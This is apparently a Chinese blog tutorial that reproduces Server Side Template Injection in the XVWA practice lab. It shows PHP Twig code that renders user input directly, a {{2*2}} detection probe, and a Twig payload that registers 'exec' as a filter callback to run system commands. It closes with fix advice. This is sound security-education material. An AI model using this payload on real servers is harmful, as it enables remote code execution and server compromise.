XVWA SSTI Server Side Template Injection

0x00 Server Side Template Injection (SSTI)

Web application uses templates to make the web pages look more dynamic. Template Injection occurs when user input is embedded in a template in an unsafe manner. However in the initial observation, this vulnerability is easy to mistake for XSS attacks. But SSTI attacks can be used to directly attack web servers’ internals and leverage the attack more complex such as running remote code execution and complete server compromise.

也学了一段时间的web安全了,居然第一次学习这漏洞,之前做CTF时碰到过,直接就放弃了,今儿把这个复现了就去肝那个ctf题。

SSTI是什么?

先说什么是SSTI,服务端模板注入,这里又是一个注入的概念,目前已经有SQL InjectionXML InjectionCommand InjectionLDAP Injection等,其实问题还是在于输入的参数没有经过服务端的验证,SQL注入是通过后端脚本语言进行数据库查询,而SSTI呢,是通过后端的渲染处理上进行了语句的拼接,然后执行。

那这里的主要是利用一些网站的模板引擎,主要是针对pythonphpjava的一些网站处理框架,比如Pythonjinja2makotornadodjangophpsmartytwigjavajadevelocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

模板引擎是什么?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

具体的可以看下这PDF写的,感觉看完整个都有一定了解了,纯英文,很棒。

中文参考链接

链接: https://pan.baidu.com/s/1tx9eEFY9Z5Scce5-xaJa1w 提取码: w3ch

学习完了,自己来复现一下。

 <?php
     if (isset($_GET['submit'])) {
         $name=$_GET['name'];
         // include and register Twig auto-loader
         include 'vendor/twig/twig/lib/Twig/Autoloader.php';
         Twig_Autoloader::register();
         try {
               // specify where to look for templates
                   $loader = new Twig_Loader_String();

               // initialize Twig environment
                   $twig = new Twig_Environment($loader);
              // set template variables
              // render template
                 $result= $twig->render($name);
                 echo "Hello $result";

         } catch (Exception $e) {
               die ('ERROR: ' . $e->getMessage());
             }
         }

 ?>

可以看到主要使用的是twig的模板引擎,似乎渲染的内容也是受到用户的控制的$name


0x01 漏洞利用

先探测是否存在漏洞,输入{{2*2}}
在这里插入图片描述
这里变成了4,说明执行成功了。

那这里可能存在着xss,走一波。
在这里插入图片描述
当然还可以做命令执行。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

成功执行命令
在这里插入图片描述


0x02 修复建议

  1. 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。

  2. 已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。

  3. 无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105377634